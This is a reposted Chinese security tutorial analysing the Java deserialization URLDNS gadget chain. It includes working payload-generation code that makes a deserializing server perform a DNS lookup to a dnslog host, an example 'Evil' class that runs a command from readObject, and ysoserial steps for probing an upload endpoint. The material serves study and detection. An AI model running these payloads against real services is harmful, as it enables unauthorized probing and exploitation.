栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java反序列化1-URLDNS利用链分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java反序列化1-URLDNS利用链分析

Java反序列化1-URLDNS利用链分析
    • 0x01 前言
    • 0x02 Java序列化与反序列化
    • 0x03 URLDNS调用链
    • 0x04 URLDNS链分析
    • 0x05 payload生成
    • 0x06 漏洞复现
    • 0x07 ysoserial使用
    • 0x08 利用URLDNS检测反序列化点
    • 0x09 ysoserial中的URLDNS payload分析
    • 0x10工具开发
    • 0x11 参考链接

0x01 前言

之前一段时间一直在学习了java,也有刷过一段时间的java靶场。最近想着也应该开始学习java反序列化相关知识了,今天就从java反序列化中最简单的URLDNS链开始分析

  • URLDNS不需要依赖第三方的包,同时不限制jdk的版本

  • URLDNS链并不能执行命令,只能发送DNS请求

  • 该链条基本没什么危害,通常做为检测反序列化的入口点使用

0x02 Java序列化与反序列化

序列化

public static void serialize(  ) throws IOException {

    Student student = new Student();
    student.setName("CodeSheep");
    student.setAge( 18 );
    student.setScore( 1000 );

    ObjectOutputStream objectOutputStream = 
        new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
    objectOutputStream.writeObject( student ); //将student序列化结果写入student.txt
    objectOutputStream.close();
    
    System.out.println("序列化成功!已经生成student.txt文件");
}

反序列化

public static void deserialize(  ) throws IOException, ClassNotFoundException {
    ObjectInputStream objectInputStream = 
        new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
    Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。
    objectInputStream.close();
    
    System.out.println("反序列化结果为:");
    System.out.println( student );
}

上面就是java序列化与反序列化一个简单的例子。

java的序列化与反序列化所使用的函数时writeObject和readObject,java也允许开发者去自己定义writeObject和readObjec,可以看到上面的代码中调用了readObject和writeObject序列化与反序列化对象,但是如果student类中有自己定义的readObject和writeObject函数,则在序列化和反序列化时执行类自定义的readObject和writeObject。当开发者书写不当的话就会造成命令执行漏洞。可以看下面这个例子

public class Evil implements Serializable{
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

public class Main {
    public static void main(String[] args) throws Exception {

        Evil evil = new Evil();
        evil.cmd = "open /System/Applications/Calculator.app";

        byte[] serializeData = serialize(evil); 
        unserialize(serializeData); 
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();//反序列化时调用Evil类的readObject,此时就会弹出计算器
    }

}

很多语言中都存在序列化与反序列化操作,但是由于语言特性与机制的不同,Java就会存在很多反序列化漏洞,而PHP则相对较少。

跟PHP一样,java反序列化我们也需要找一个入口类也叫落脚点,这个类重写了readobject函数,我们通过这个函数进一步进行反序列化漏洞的利用。

0x03 URLDNS调用链
1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress
0x04 URLDNS链分析

入口类是HashMap,下面是readObject函数,可以看到对于对象输入流中的key即键计算了hash

private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node[] tab = (Node[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false); //这里
            }
        }
    }

跟进hash,对key计算了hashcode

根据payload,我们给hashmap中存入的键是URL类对象,那么这里就是调用url类的hashcode函数,跟进看一下

当hashcode不为-1时,执行handler.hashCode并把自己即URL对象传入,这里的hashcode我们看一下,其默认值就是-1,而且也没有对应的setter方法设置该属性,说明该属性是写死的,所以我们不用担心到不了handler.hashCode。

继续跟进handler.hashCode,我们看到调用了getHostAddress方法,该方法会获得u的IP地址,即这里就会导致发送一个DNS请求。

所以整个调用链为

1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress
0x05 payload生成

上面已经分析整个利用链,但是呢发现一个问题就是在hashmap利用put存入数据的时候也会调用putVal函数,从而也进入上面的利用链

这就导致我们在生成payload的时候就会进行一次dns查询,为了能看清是反序列化造成的dns请求,这里需要规避一下生成payload时的dns请求。

我们只需要在调用链的其中一步将其阻止就行。这里可以看到先判断hashcode值是否为-1,如果不是就直接返回,从而不会执行到handler.hashcode。但是上面分析过hashcode是一个私有变量不能设置,所以这里可以通到反射将其强制转换为公有的,然后设置成其他值。这样链子就会在URL->hashcode处断掉,从而就不会调用gethostbyname了。

完整的payload如下:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://xxx.dnslog.cn/");
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //将url的hashcode属性改为123使其不等于-1
        map.put(url,"2333"); //这里的value用不上,随便设置
        field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此时触发dns请求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
0x06 漏洞复现

0x07 ysoserial使用

下载ysoserial源码,在idea中打开,pom.xml中下载依赖

maven编译项目并打包

检查project-structrue的jdk版本(一般为1.8)

如果idea不识别java项目,右键java目录点击mark_directory_as再点击source_root即可

打开项目配置,这里设置你的运行参数

最后进入主类运行main函数即可

大概说一下执行流程

跟进Serializer.serialize,这里我们添加代码让他输出payload到payload.ser文件中

这里我们也可以看一下urldns对应的payload生成类

下面就是生成的payload

0x08 利用URLDNS检测反序列化点

这里我们写一个上传点,会对上传的东西进行反序列化操作。那么这就是一个反序列化点。

利用ysoserial生成urldns的payload

payload保存在目录下的payload.ser

利用postman上传payload.ser

可以看到burp成功接收到dns请求

0x09 ysoserial中的URLDNS payload分析

还记着调用链上那个URLStreamHandler吗

他这里创建了一个SilentURLStreamHandler并继承URLStreamHandler,然后重写了其getHostAddress方法,直接让其返回null

在new URL时用这个SilentURLStreamHandler代替原来的URLStreamHandler,这样在调用链的最后一步调用getHostAddress时就直接返回null,从而并不会发起dns请求。

既然都把这个getHostAddress重写了,那确实是在ht.put时候不会进行dns请求,但是这样一来反序列化的时候也不就直接返回null了吗?

其实不然,我们点进URL类看一下,发现这个属性是一个transient类型的,也就是在序列化的时候不会将其序列化进去,既然不会序列化进去,那么在反序列化的时候就会用默认的URLStreamHandler而不是SilentURLStreamHandler了,这个时候调用getHostAddress是URLStreamHandler的,所以在反序列化中就会发出dns请求而在ht.put时候就不会。

0x10工具开发

刚好也想学一下ui,就用javafx写了一个探测工具,有一点小bug,后面再改吧qwq。

https://github.com/xunyang1/UrlDns-Tool

0x11 参考链接

P牛知识星球-Java漫谈

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54

https://xz.aliyun.com/t/9417#toc-2

https://paper.seebug.org/1242/#_1

https://www.jianshu.com/p/79baa1fc32c3

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/995094.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号